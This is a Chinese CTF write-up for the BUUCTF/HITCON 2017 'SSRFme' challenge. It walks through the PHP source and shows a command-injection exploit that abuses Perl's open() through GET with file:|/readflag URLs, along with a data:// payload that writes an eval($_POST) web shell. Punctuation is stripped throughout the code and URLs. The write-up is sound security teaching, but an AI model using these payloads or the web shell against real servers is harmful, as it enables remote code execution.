BUUCTF-[HITCON 2017]SSRFme
代码分析?php if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { //HTTP_X_FORWARDED_FOR可以获取客户端真正ip地址和各个代理IP地址 $http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]); //拆分字符串以分割 $_SERVER[REMOTE_ADDR] $http_x_headers[0]; //获取真实IP地址 } echo $_SERVER[REMOTE_ADDR]; $sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]); //设置路径 mkdir($sandbox); //创建目录 chdir($sandbox); //更改当前工作目录为sandbox $data shell_exec(GET . escapeshellarg($_GET[url])); //escapeshellarg过滤url转义为在shell命令中安全使用的参数。这里就是执行get命令参数为过滤后的。 $info pathinfo($_GET[filename]); //将路径字典话即分割为目录名扩展名等。 $dir str_replace(., , basename($info[dirname])); //basename用于提取文件名然后将.替换为空防止了路径穿越。 mkdir($dir); chdir($dir); file_put_contents(basename($info[basename]), $data); //将data中的数据放入basename文件名中。 highlight_file(__FILE__);大概功能是将请求的url内容放入/sandbox/md5值/filename中。漏洞点1$data shell_exec(GET . escapeshellarg($_GET[url]));这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。类似ls将根目录列出来也可以读取文件 GET ./flag.txt。所以可以将url设置为某个路径或文件然后放入filename中。获取根目录内容构造url构造url/构造filenametest计算出路径访问在根目录中发现flag和readflag。查看flag创建http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url/flagfilenametest访问没有内容查看readflag创建http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url/readflagfilenametest访问访问是下载了一个文件打开发现是ELF可执行文件猜测是使用命令去执行readflag。方法一perl语言漏洞因为GET函数在底层调用了perl语言中的open函数但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符并且系统中存在该文件名就会中断原有打开文件操作并且把这个文件名当作一个命令来执行。因为GET使用file协议时候会调用perl中的open函数。所以需要使用file协议执行readflag。getflag创建文件http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfilename|/readflag执行命令http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfile:|/readflagfilenametest访问或者这样构造也可以http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfilename|bash -c /readflag http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfile:|bash -c /readflagfilenametest方法二写木马利用data伪协议去写入木马http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urldata://text/plain,?php eval($_POST[cmd]); ?filenametest.php切换到终端执行readflag。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2469062.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!